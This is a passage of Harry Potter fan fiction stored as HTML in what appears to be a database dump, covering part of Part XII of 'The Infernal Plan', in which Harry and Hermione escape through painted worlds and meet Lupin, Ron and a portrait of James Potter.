<br>\n\n<br> &quot;You know I\'ll help you. I always do.&quot;<br>\n\n<br> &quot;That won\'t be very easy for you to do if we never get out of here. You won\'t make very high marks either if you aren\'t there,&quot; Harry teased and Hermione\'s expression fell flat. <br>\n\n<br> &quot;I\'m sure we\'ll be allowed to make up our work once we find Lupin and get out of here. We always have been in the past,&quot; she said, suddenly more thoughtful than before. <br>\n\n<br> &quot;Hermione, you are the most talented witch to pass through Hogwarts\' doors in ages. I\'m sure you will do just fine. I\'m the one who has now missed most of this term,&quot; Harry said, sighing. <br>\n\n<br> &quot;We\'ll both have to catch up together,&quot; Hermione said. &quot;But first, we have to get back to Hogwarts since you didn\'t give me enough time to gather up my books.&quot;<br>\n\n<br> Hermione was serious about her books and Harry was amused by her and her need to study even in the most desperate of situations.<br>\n\n<br> &quot;The good news is I have my wand. At least this time, I\'m prepared,&quot; he said. Only, he wasn\'t quite sure for what he had to be prepared. <br>\n\n<br> ***************<br>\n\n<br> It was a fairly small village; just a few rustic houses around a central fountain from which cobalt colored \'water\' flowed. Harry was pleased that there were no inhabitants because he wasn\'t ready to explain how he and Hermione had arrived at this place. For now, all he wanted to do was rest and consider what they were going to do next. <br>\n\n<br> They chose an abandoned looking house and Harry pushed the creaky door open, his wand before him as he took Hermione by the hand. Her eyes were still adjusting to the changing brightness and he didn\'t want her to stumble over anything. <br>\n\n<br> Dust danced around their feet and filled the air, making Harry cough. Hermione didn\'t seem to notice as she continued chatting away about how all this needed to be documented and studied and how it was simply amazing. Harry had felt the same way the first time he was trapped in this place but now he\'d rather settle for a different kind of amazing. More of a Hogwarts kind of amazing. Too bad he didn\'t think of that before rushing back here. <br>\n\n<br> &quot;Here, have a seat. I\'m going to look around. Don\'t wander anywhere, Hermione. There\'s always the chance of slipping into another painting. I\'d never find you back,&quot; Harry said. Hermione sat down on a couch that might have been red at one time a plume of dust flew up around her, making her cough. <br>\n\n<br> &quot;What about you? What if you slip into another painting?&quot; she asked, sounding rather concerned. <br>\n\n<br> &quot;I won\'t,&quot; he said, trying to reassure her of something he wasn\'t completely positive wouldn\'t happen. He knew all too well how it worked and was just a little surprised they hadn\'t slipped from this place already. <br>\n\n<br> &quot;Harry? Please stay,&quot; Hermione said, reaching out her hand to him. <br>\n\n<br> &quot;Hermione...&quot; he started to protest but she patted her other hand on the cushion beside her and a cloud of dust rose up in the spot. <br>\n\n<br> &quot;Stay,&quot; she said one more time and he did, sitting down next to her. &quot;This world is amazing.&quot;<br>\n\n<br> &quot;Yeah,&quot; Harry said, clearly not as amazed as she was. <br>\n\n<br> &quot;Why is one thing dusty while the next thing is wet? Is it because of the artist\'s imagination? How could he think of everything like the details inside a house that one can\'t see on the canvas? It\'s just fascinating,&quot; she said, carrying on more and more. <br>\n\n<br> &quot;Is this why you wanted me to stay? So we could discuss this place?&quot; Harry asked, aggravated. He knew about this place and the dangers that could be found just around the next corner. <br>\n\n<br> &quot;No. Well, yes. I can\'t believe someone like Drew could comprehend this place so well,&quot; Hermione said and Harry let out a heavy sigh. <br>\n\n<br> &quot;He had his father\'s help. Come to think of it, he had his father\'s help for a lot of things. I\'m sure we\'re bound to run into them sooner or later since this is where I last saw them,&quot; Harry said. Hermione wrinkled up her nose at the thought. <br>\n\n<br> &quot;We will have to figure out what to do. Harry, despite what you think, you\'re a fine wizard. You can defeat most anything or anyone,&quot; Hermione said, wrapping her arm around Harry\'s and pulling him near. <br>\n\n<br> &quot;Most?&quot; He hadn\'t missed that. <br>\n\n<br> &quot;Not most. You can defeat anything that might be in here. Together, we\'re even more powerful,&quot; she said. <br>\n\n<br> Right now he didn\'t feel very powerful at all. He felt weary and lost. He felt like disappearing into one of these worlds and hoping no one ever found them. They could just have a life together here. They could do it and he would be happy. <br>\n\n<br> &quot;Hermione, I love you,&quot; he said, his voice shaky with exhaustion. &quot;We need some rest and we\'ll work this problem out. We\'ll put together a plan. I know we\'ll get out of here.&quot;<br>\n\n<br> He kissed her on her cheek and she moved so that she could settle into his arms. Harry had no idea what he would do without her. Her love made all of this bearable. It made it so he didn\'t want to just give up and die. <br>\n\n<br> ***********<br>\n\n<br> After he went exploring (finding nothing of value or interest except a bag in which to carry his cloak) and they rested for a while, Harry and Hermione set off again. Since she was feeling better, Hermione could now keep up with Harry\'s pace and only stopped every fifty meters or so to look at something new. To her, this was just like when they started Hogwarts. There was something new around every corner. Only this time, she didn\'t have a history book to quote from. This time, they had to make it up as they went alone. <br>\n\n<br> None of this was familiar to Harry and he had no idea where they were headed, but he couldn\'t sit still and wait. There were brief moments, while she slept in his arms, he realized he could just stop searching for the escape and spend every day for the rest of his life right here with Hermione. He also know that wasn\'t really an option. Not yet. Not until they had exhausted all their options for finding Lupin and getting out of here again. <br>\n\n<br> Hermione reached for his hand and meshed her fingers with his. They walked side by side for the longest time, discussing the various properties of magic and physics that had to combine to create this place. Harry listened and added a few comments but all the while, his eyes searched around them, making sure they weren\'t being followed or approached from the woods surrounding them. <br>\n\n<br> &quot;What if we never find anything? Or a way out? And what if Professor Dumbledore can\'t help us?&quot; Hermione asked, swinging his hand in hers. &quot;You have thought of it, haven\'t you?&quot;<br>\n\n<br> &quot;No,&quot; he lied. &quot;The last time I was in here, I found... her. Lupin found me. I\'m sure we\'re going to run into something--&quot;<br>\n\n<br> The words weren\'t even out of his mouth and Harry felt something pulling at him. It was as if his whole form was changing -- melting, really -- and he gripped Hermione\'s hand tighter, pulling her towards him. <br>\n\n<br> &quot;Hold on!&quot; he said, knowing exactly what was happening. They slipped through a vortex, one far more gentle than the one they passed through between Hogwarts and here, and suddenly, they were somewhere else. Hermione was in his arms and this was a good thing because they didn\'t look so out of place that way.<br>\n\n<br> &quot;Oh, my!&quot; was all Hermione could say. <br>\n\n<br> They were in a massive ballroom, surrounded by witches and wizards wearing their finest dress robes in every color imaginable. The room was gilded in gold and Harry realized the artist probably used gold while painting because he couldn\'t imagine how else he would have gotten it to sparkle like that. And it was a painting of a rather fancy ball. Candles filled the air as did rather lively music.<br>\n\n<br> No one seemed to have noticed them or their sudden entry but Hermione pulled his arms around her anyway so it looked like they were dancing like everyone else and they went with the gentle swirl of the crowd. <br>\n\n<br> &quot;This is interesting. Have you ever seen this paining at Hogwarts before? I thought I saw all of them but I don\'t recognize this,&quot; Harry said. <br>\n\n<br> &quot;No, I don\'t remember it.&quot; <br>\n\n<br> Hermione winced when he stepped on her toes but kept on dancing. <br>\n\n<br> It wasn\'t long before someone noticed them and their lack of formal attire. &quot;I say, the least you could do is get your girl a proper gown and robes, young man,&quot; an elderly wizard said to Harry as they passed by. He was wearing bright purple while the woman he was dancing with was dressed in a hideous shade of orange.<br>\n\n<br> &quot;Thanks,&quot; Harry said with a shrug. <br>\n\n<br> &quot;What are we going to do? Do you see a way out of here?&quot; Hermione asked, standing on her toes long enough to see over the crowd. Or to keep Harry from stepping on them again. <br>\n\n<br> &quot;There\'s a staircase over there but I have no idea where it might lead. I can\'t see any doors,&quot; he said, working it so they were getting closer to the outside of the crowd. They passed a large orchestra and then passed people sitting stiffly in formal chairs watching the dancers go by. <br>\n\n<br> &quot;I\'d hate to have to do this forever,&quot; Hermione said. both of them struggling to keep up. <br>\n\n<br> &quot;Maybe they rest when the lights are turned off where the painting is hanging. Or maybe they never stop,&quot; Harry said, watching to see when they were drawing close to the grand staircase. As soon as they were in front of it, they pulled free from the dancing crowd and started to climb the steps, still holding hands just in case. <br>\n\n<br> &quot;Now what?&quot; Hermione asked. When they had reached the top of the long staircase, they found a seemingly endless hallway lined with doors. Hundreds of doors. They were all the same, white with gold trim and gold handles. They could end up anywhere just by opening one. <br>\n\n<br> Harry turned around and looked at the dance going on and was sure this was their only way out. All the walls of the ballroom appeared to be solid . Then he faced the doors again. No one was coming in or out of any of them. Pulling his wand out of his back pocket, he held it in front of him, prepared for anything. Hermione did the same and they walked down the hallway. <br>\n\n<br> &quot;Which door should we try first. Right or left side of the hall?&quot; she asked, stepping close to the first one on her left. <br>\n\n<br> &quot;Go ahead and open it,&quot; Harry said, unsure that any other door would be a better option. Hermione put her hand on the knob and briefly pulled it away. <br>\n\n<br> &quot;It feels funny,&quot; she said, grabbing the knob again and twisting it. Harry quickly grasped onto her arm just in case this led them somewhere else. It didn\'t. All that was behind the door was a dark, empty room. There was no furniture. No windows. It was as if the artist hadn\'t even considered what might be in the room. &quot;What if they\'re all like this?&quot;<br>\n\n<br> &quot;We\'ll have to find another way, then,&quot; Harry said. He tried the next doorknob while Hermione held onto his sleeve. She was right -- the doorknob did feel funny. It tingled in Harry\'s hand and he wasn\'t sure what that meant. <br>\n\n<br> &quot;Nothing here,&quot; he said, going onto the next. They kept it up for nearly an hour and the hallway seemed to be growing. Door after door yielded nothing. They would walk into the dark rooms only to find it led nowhere, not even as a portal to some other painting. <br>\n\n<br> &quot;We could go back and dance,&quot; Hermione suggested, smiling ever so slightly. Harry tried another door and shook his head. <br>\n\n<br> &quot;No more dancing, please.&quot;<br>\n\n<br> &quot;It wasn\'t that bad,&quot; Hermione said. &quot;Besides, I\'m the one who was getting stepped on.&quot;<br>\n\n<br> &quot;All the more reason to not go back and dance,&quot; Harry said. He grabbed another doorknob and Hermione put a hand on his shoulder. This doorknob felt different. It didn\'t tingle. He grasped his wand and looked at Hermione. She must have sensed something because her wand was held up high in her free hand. <br>\n\n<br> &quot;Should we skip this door?&quot; <br>\n\n<br> &quot;What if it\'s the one we need? What if it leads us back? Or to Ron?&quot;<br>\n\n<br> &quot;What if it doesn\'t?&quot; Hermione asked. They both thought about it for a second before deciding. &quot;You\'re right. Open it.&quot;<br>\n\n<br> Harry opened the door and immediately regretted his decision. He tried to pull it shut but it wouldn\'t move. He tried to say something... anything... but the words wouldn\'t come out his mouth. One of the figures in the room had no problem speaking at all. <br>\n\n<br> &quot;How nice of you to finally join us, Potter. We\'ve been waiting for you.&quot; <br>\n\n<br> *************<br>\n\n<br> To Be Continued....<br>\n\n<br>\n\n<br>\n\n<p></p>\n\n '),
	(18, 12, ' <p><font face="Times New Roman, serif"><font size="4">Harry Potter and the Infernal Plan Part XII <br>by Jori<br><br>e-mail: seeker07@gmail.com<br><br>FINISHED September 2013. Ten years, people. Ten years. I\'m slow but I don\'t give up! <br><br>Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever.<br><br>NC-17<br><br>Spoilers for all books but probably not Pottermore. Most of this was originally written WELL before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic.<br><br>H/Hr story<br><br>This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">*************</font></font></p>\n\n<p><font face="Times New Roman, serif"><font size="4"><br>Harry finally found his words. Or rather, one word. &quot;Run!&quot; he shouted to Hermione, backing up and taking her hand in his as he tore off down the hallway and back toward the staircase. He wasn\'t going to take a chance on any of these rooms. <br><br>Hermione almost stumbled going down the stairs but he caught her in his arms and when they reached the bottom, they both tried to get lost in the dancing crowd. He could barely catch his breath to tell her what was going on. <br><br>&quot;The girl... did you see her? She is Elladora Black or at least a painting of her. I\'m sure you know Mr. Rowntree since you once wanted to sleep with his kid,&quot; Harry said, keeping his eyes on the staircase. Mr. Rowntree was now standing on the top step, scanning the crowd. <br><br>&quot;That doesn\'t really matter now, does it?&quot; Hermione asked. &quot;Move in that direction. I think I see something.&quot;<br><br>Harry spun them around so he could see what she was talking about. The walls of the ballroom were lined with massive paintings and with mirrors, all in ornate gold frames. It was hard to tell them apart since the paintings were also of a ballroom with dancers circling around. A painting in a painting. <br><br>&quot;You think this will work?&quot; Harry asked Hermione. <br><br>&quot;Do we have any choice?&quot; she said. Harry looked back at the staircase to see Mr. Rowntree rushing down, his eyes looking in their direction. He knew they had no choices. Rowntree was certainly in this with Voldemort. He had to be close but Harry couldn\'t sense it. He couldn\'t feel him. Were things different in here? Was that connection lost in this world? <br><br>&quot;Whatever happens, I won\'t let them hurt you, Hermione,&quot; he said and she looked at him wide-eyed. <br><br>&quot;We\'re doing this together,&quot; she said, holding on to him tightly. &quot;We either stay here together or find a way out together but you aren\'t going to face them alone.&quot;<br><br>&quot;I don\'t want you to get hurt. I won\'t let that happen,&quot; he said. <br><br>&quot;Then we better hope this works,&quot; Hermione said, grabbing him by the hand and making a mad dash toward one of the paintings on the wall. <br><br>&quot;Stop them!&quot; they heard cried out over the crowd but no one stopped. No one seemed to care about anything but their endless dance. <br><br>They hit the painting hard and ending up slipping through, but this time there was no vortex. They just slipped through and into another room nearly like the last one they were in. This one had fewer people and a lot less detail. <br><br>&quot;Over there! Keep running!&quot; Harry ordered, and Hermione did as he said. &quot;The doors don\'t work but this does.&quot; <br><br>He turned around to see a painting of the last painting. He could see the dancers and he could see Mr. Rowntree moving toward the canvas. This wouldn\'t last forever but it gave them time. Or maybe not...<br><br>Elladora was approaching them quickly from the other side of the room. Obviously she knew how everything worked in here. She was part of this strange world. They reached another portrait and slipped through again. This world was even less detailed than the last one. People were moving past them but it was hard to tell one from the next. <br><br>&quot;We\'re running out of options,&quot; Hermione said, stating the obvious. This room had no paintings on the wall. Instead, this room was solid all around. <br><br>&quot;There has to be something,&quot; Harry said, refusing to give up. He hadn\'t come this far to let them get him like this. It was then that he noticed a girl striding rather purposefully in their direction. She looked familiar but he couldn\'t quite place her. She was wearing Quidditch robes that fell off her shoulders and she was carrying a broom that towered over her head. <br><br>Harry looked around, thankful that Elladora or Mr. Rowntree hadn\'t found them. So far. <br><br>&quot;Harry, Hermione, come with me. Quickly!&quot; the little girl said as soon as she reached them. She turned from them, her Appleby Arrows robes swirling around her tiny frame, and it was then that Harry knew who she was. <br><br>&quot;Zoila!&quot; he said, racing to keep up with her. <br><br>&quot;What?&quot; Hermione asked. &quot;Who? How?&quot;<br><br>&quot;Zoila... oh, you know Zoila Witherite! This must be her... this must be a painting of her when she was younger,&quot; Harry said, struggling to catch his breath and keep up with the girl. They reached a rather unremarkable spot in the room and Zoila stopped and turned to them. <br><br>&quot;Hold on to me and to each other,&quot; Zoila told them and they did as she instructed. Harry took Hermione\'s hand in his and held onto Zoila\'s robes. She took a step and Harry felt the vortex start up again, ready to take them elsewhere. He had no idea where they might end up next but he trusted the young girl. He had no choice at this point. <br><br>After the swirl and pull was over and Harry made sure Hermione was still with them, he looked around, trying to figure out where they were. It was some grassy plain, with large animals all around them. <br><br>&quot;Come this way and hurry,&quot; Zoila said, and they did just what she said. They hadn\'t gone far when she stopped. &quot;Hold on again. We\'re going through.&quot;<br><br>This happened several times until they went through one last vortex and where obviously where they needed to be. <br><br>&quot;Hogwarts! We\'re home!&quot; he said. Except they couldn\'t be. Zoila in her painted form was still standing beside them. <br><br>&quot;Home if you went to Hogwarts in 1490,&quot; Zoila said, walking purposefully toward the castle. Harry and Hermione hurried to keep up with her. It really didn\'t look that much different than it did now, Harry thought, noticing the students milling around the outside in the painted sunlight. They were dressed differently of course, but they still wore robes and many had an armful of books. <br><br>Books, he realized, that very few other children their age during this time period would have been holding. The wizarding world did have a few advantages. If you had to make a potion, you needed the directions.<br><br>They entered through the double oak doors and immediately went to the staircase leading to the dungeons. Zoila was racing before them, not bothered by the darkness that seemed to envelope the interior of the castle. Harry held Hermione\'s hand as they carefully made their way down the stairs. <br><br>Harry noticed that the dungeons were nothing like what they were at his Hogwarts. They were still just as dim and cold but none of them seemed to serve as classrooms. It looked more like an actual dungeon and he could only imagine what Filch would do in a place like this. <br><br>&quot;Where are we going?&quot; Hermione asked as Zoila led them down a darkened corridor. <br><br>&quot;Here,&quot; she said, stopping in front of a rather formidable door. Harry expected to find more darkness behind it but when Zoila knocked and then entered, he was surprised to find a bright room decorated in flowers and unicorns. It looked like Hermione\'s bedroom. Obviously something strange was going on or the artist of this painting had some sense of humor. <br><br>It was then that Harry noticed Remus Lupin standing at the other side of the room. And next to him stood Ron. <br><br>&quot;We were wondering if you were ever going to show up,&quot; Ron said, smiling. <br><br>&quot;Ron!&quot; Hermione cried out, running to him and giving him a huge hug. Harry joined her, hugging not only Ron but Lupin, too. <br><br>&quot;Thank you, Zoila,&quot; Lupin said. The girl nodded and smiled before moving away to stand with the others in the room. Harry recognized a few of them but many more were unfamiliar to him. <br><br>&quot;I was afraid we had lost you forever,&quot; Hermione said to Ron and he shrugged, embarrassed by her overwhelming display of affection. <br><br>&quot;Zoila... or rather, her painted form... has learned well how to make her way around this world. As soon as Ginny reported what we had done, Professor McGonagall somehow got a message through and she found me. You and Hermione weren\'t so easy to find since you started moving right away,&quot; Ron explained. <br><br>&quot;Professor McGonagall knows about this?&quot; Harry asked, turning to Lupin, who nodded. &quot;Do the other members of the Order know?&quot;<br><br>&quot;There have been plans in place for a while now. Part of that was you staying at Hogwarts... the real Hogwarts. Why did you come back here, Harry? I told you not to when you left,&quot; Lupin said, giving Harry a disapproving look. &quot;I warned you that you would be far safer out of here.&quot;<br><br>&quot;Don\'t blame him,&quot; Hermione said, defending Harry. &quot;He didn\'t remember anything that had happened here. He wanted to come back to help you.&quot;<br><br>&quot;I\'m sure Elladora Black had a lot to do with my memory,&quot; Harry said. &quot;She\'s the one who lured me back to this place.&quot;<br><br>&quot;Ah, yes. Ella. I should have known she had something to do with this. She knows her way around this world as well as anyone,&quot; Lupin said. <br><br>&quot;What\'s going on here, anyway?&quot; Hermione asked, looking around at the people filling up the room. <br><br>&quot;They didn\'t manage to freeze all the portraits and paintings everywhere, Hermione. Many wizarding families have portraits hanging in their homes or tucked away in attics and cellars. Many more of the people in those portraits are on our side than on theirs but they do have supporters, too,&quot; Lupin explained, never really answering the question. Harry looked at him, trying to work it all out in his head. <br><br>&quot;An army! You\'re creating an army of sorts!&quot; Harry blurted out. <br><br>&quot;Of sorts,&quot; Ron said with a snort. &quot;Not of sorts, mate. This is the real thing.&quot;<br><br>&quot;But they\'re creating an army also, right?&quot; Hermione surmised. <br><br>&quot;I\'m afraid so. They have some powerful and dark magic behind them but we have quite a bit of determination,&quot; Lupin said. All around them, figures were scurrying about, doing jobs and gathering supplies. <br><br>&quot;What is the plan? How are you going to stop them from getting to me? And Hermione and Ron?&quot; Harry asked, looking down at his feet. He felt rather stupid for walking back into this trap now that he realized he didn\'t have to help Lupin to escape. Lupin was doing just fine on his own. <br><br>&quot;Yes, Harry, it would have been easier if you and your friends weren\'t here. We had managed to block their methods of escape. We also have been blocking off their passageways through the paintings. Of course, that closes off our way around the paintings, too. A few of the portraits, like Zoila, can find openings between painted worlds that aren\'t commonly used. I\'m not sure how she can sense them, but she can and she can do it very well. There are others who are good at is as well, like Ella. And there are other things you need to know,&quot; Lupin said. <br><br>&quot;You can say that again,&quot; Ron said, but before Lupin had a chance to explain, Hermione started asking questions. <br><br>&quot;How do you explain all of this? This world is brilliant! How was it started? How does it flourish and grow?&quot; Hermione asked and Harry could tell she had a thousand more questions behind the ones she asked. <br><br>&quot;Magic?&quot; Lupin answered with a slight grin. &quot;Hermione, we\'ll probably never understand all of it. The artist somehow infuses the portrait with an essence of the subject. They are something like that person at that moment in time. They know what\'s going on outside their frame but they never really change. Take the Fat Lady for instance. She\'s been guarding Gryffindor tower for years and she knows that students come and go and she knows what\'s going on but she is still the Fat Lady from the moment she was painted. It really is hard to understand. I\'m not sure anyone ever will.&quot;<br><br>&quot;The Rowntrees seem to understand it just fine,&quot; Harry said. <br><br>&quot;Dark magic, Harry. That is how they\'re doing it. That, and from what we can tell, they have the help of Voldemort,&quot; Lupin said. Harry noticed how everyone around them quieted down at the mention of that name. &quot;He\'s been in here the last few weeks, causing quite a lot of damage. That is why I wanted you to stay out. I was hoping to trap him in here forever.&quot;<br><br>&quot;Why can\'t we now?&quot; Hermione asked and Lupin sighed. <br><br>&quot;I can only do it if I get the three of you out of here first and I\'m not so sure I can manage getting anyone out again...&quot;<br><br>&quot;That\'s why you sent me away! Why couldn\'t I remember that! I\'m so stupid!&quot; Harry said, mad at himself now. <br><br>&quot;I still don\'t see what the difference is. We can still trap Voldemort in here, right?&quot; Hermione asked. <br><br>&quot;Only if you want to spend the rest of you life in here, too. With Voldemort,&quot; Lupin answered. <br><br>None of them said anything else for quite a while. Harry was trying to work this all out in his mind. He remembered much of what happened the last time he was here but it was still fuzzy. He had been with Elladora most of the time and then Lupin found him. She must have been keeping him away from any other portraits or any source of help. She must have been taking him to Voldemort. Then Lupin showed up and he probably ruined whatever plans everyone had for him. Ella had to lure him back in knowing he\'d never be able to get out if Lupin\'s plans went forward. But if he couldn\'t get out, then Lupin...<br><br>&quot;You never planned to get out of here again, did you?&quot; Harry demanded. The look on Lupin\'s face was the only answer he needed. &quot;What! You can\'t be serious?&quot;<br><br>&quot;There is no other way, Harry. I have my reasons. I need to protect you, I need to protect Hogwarts and I need to stop Voldemort. I am a member of the Order and that is my duty,&quot; Lupin said. <br><br>&quot;There is something else, too, isn\'t there?&quot; Hermione asked. She stood between Harry and Ron, her arms crossed over her chest. <br><br>&quot;Always so clever. Yes, Hermione, there is something else. In here, depending on where I am, there necessarily isn\'t a full moon. All this time, I haven\'t had to worry about anything. I\'ve been myself again,&quot; Lupin said, wistfully. &quot;It\'s all I\'ve wanted for years and now I can have it.&quot;<br><br>&quot;But... but you...&quot; Harry tried to come up with a good reason why Lupin needed to come back out with him and Hermione but every reason was a selfish one. He has already lost Sirius. He didn\'t want to lose another friend. <br><br>It was then that Harry noticed another portrait come through the door. The reason he noticed it was because it was... Hermione? Someone followed her through the door and it was him! The portrait was a little younger than he was but not by much. He had never sat for a portrait. Living with the Dursley\'s, he never even has a photographic portrait done let alone a painting. He nudged Hermione and her jaw dropped at the sight of the two of them walking in the direction of Lupin. <br><br>&quot;Drew! He liked to draw and paint. He painted me and sent it to Hogwarts. I sent it back to him. Oh no! I can\'t believe it,&quot; Hermione said, her face in her hand. It was an amazing likeness, Harry noted, and then looked at himself. <br><br>&quot;And Drew made a painting of me?&quot; Harry asked. The two portrait versions of them stopped next to Lupin and looked Harry and Hermione over before smiling brightly. <br><br>&quot;I see Zoila found them,&quot; portrait Hermione said. <br><br>&quot;She is good,&quot; portrait Harry said but it wasn\'t Harry\'s voice. It wasn\'t even Harry, Harry realized on closer inspection. Lupin looked at Harry and then at the portrait figure who was smiling so brightly and focusing intently on Harry. He could feel the world start to spin faster around him and his knees went weak. Lupin put his hand on Harry\'s shoulder before replying. <br><br>&quot;Yes, James. She is good. But not as good as you are.&quot;<br><br>-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Harry found the best thing he could do was hide. He had plenty of things to hide from but he never imagined one of them would be his father. It was just easier this way. At least for the moment. He peered around the corner to find Hermione talking to his dad while Ron was chatting up the other Hermione. It was all too much for him. He stopped watching them and went back to staring at a blank wall. He sighed and buried his head in his arms, working through all the emotions coursing through him. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Someone walked across the room and was standing over him and he almost told them to leave him alone until he realized it was Lupin. He looked up at him briefly before putting his head back down. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">You should really get to know him,&#8221; Lupin said, kneeling down beside Harry. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">He\'s not my father.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">No, not exactly. But he is a version of your father. He is, perhaps, the closest you\'ll ever get to meeting the real James Potter,&#8221; Lupin said. He reached out and put his hand on Harry\'s arm. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I don\'t know what to say to him. Who does he think I am? What does he know?&#8221; </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">He knows more than you think. He knows who you are and he is thrilled that you are here. James already knew Lily when this portrait was done. He... this image of him... was happy to find out that he and your mother had you, no matter the end results. And Harry, he knows what happened when you were a baby. I told him already so you don\'t have to worry about that. He\'s more concerned with protecting you than he is about what happens in his future,&#8221; Lupin said soothingly. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">The two remained silent for a while, Harry still not sure what to say to a version of his father that didn\'t look much older than he was now. He knew Lupin was right and this was his best chance to at least get to know a part of him but the thought terrified him as much as it excited him. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Are you two working on some plans I should know about?&#8221; a vaguely familiar male voice asked. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Harry glanced up to find his dad standing next to his girlfriend and it was like looking at a photograph of Hermione and him together. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I have had a few ideas, James. Now that Harry and Hermione are here along with you and Hermione\'s twin over there, I do have some ideas on how we might just be able to use the fact that we have doubles to our advantage,&#8221; Lupin said. He stood up and Harry scurried to his feet, too. He looked into his dad\'s eyes and struggled to swallow the lump in his throat as James smiled at him. This could be interesting after all. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">-^-^-^-</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">She\'s a lovely girl, Harry. And I never knew there would ever be someone as bright as Lily, but I do believe you found her,&#8221; James said. Harry could feel his ears turn pink and yet he was happy. He never imagined that he\'d ever be carrying on a conversation about his girlfriend with his dad. Never thought he\'d have the chance to share just what a wonderful person he found with anyone other than friends. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">He looked toward Hermione, who was bickering with the painted Hermione. He had to laugh a little at how the two of them fought about the best way to do things. Hermione had finally met her match, and it was Hermione. Ron had his work cut out for them breaking up their squabbles. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">How did you know mom was the one?&#8221; Harry asked, hoping his father had come to that realization at the point this portrait was made. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I just knew there wasn\'t another woman who would put up with as much as I made her put up with. I knew that she would follow me to the ends of the earth even if I didn\'t deserve that much. Don\'t get me wrong, I don\'t know why she would do that. Other... boys... were interested in her. But we just belonged together,&#8221; James answered. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">Harry wasn\'t sure if he was going to be with Hermione for the rest of their lives. He wasn\'t even sure how long the rest of their lives might be. He knew they both had things they wanted to do and what if there were other people out there? What if she came to realize just how beautiful and wonderful she was and that should could do better? </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p><font face="Times New Roman, serif"><font size="4">He shook his head and looked his dad in the eyes. &#8220;You were lucky you were so sure. I still don\'t know most days what tomorrow will even bring.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">No one knows, Harry. No one. You just have to live one day at a time and not take it for granted. Not one bit of it,&#8221; James said, nodding towards Hermione. Ron was pulling the painted Hermione away from the real one, calming town the turmoil for now. His Hermione had her arms crossed over her chest as she huffed and glowered about something. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I better go see what\'s going on,&#8221; Harry said, leaving his father\'s side and walking cautiously toward his girlfriend. &#8220;Anything wrong?&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">She is so stubborn!&#8221; Hermione said, pointing at the image of herself walking away.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">No, really? You\'re joking?&#8221; Harry said, trying to hold back a smile. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">No, I\'m not! She thinks she knows everything and is always trying to show me something from one of my books and she wants to change all the plans... oh, stop it!&#8221; she exclaimed when Harry couldn\'t hold his laughter in any longer. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I think I\'m falling in love with her. She is my type of girl,&#8221; Harry said and Hermione pursed her lips. &#8220;Oh, wait. I already have one like that.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Ron never leaves her side, though,&#8221; Hermione said, nodding in the direction of the two of them. &#8220;He never paid that much attention to me.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Jealous?&#8221; Harry asked, not sure he wanted to hear the answer. </font></font>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">I don\'t really know,&#8221; Hermione answered quietly before turning her full attention back to Harry. &#8220;I\'m not too sure about some of these proposals. They want us to hide out while James and... that... that other Hermione lure out Voldemort. Lupin thinks that\'s the best way to try to trap him in here and get out us safely. I think he already knows he won\'t be able to keep him in here forever but it will give you time to be able to defend yourself against him properly. You aren\'t ready to face him yet.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font face="Times New Roman, serif"><font size="4">Don\'t you think I should decide that?&#8221; Harry asked, upset that this had all been decided for him while he had been spending 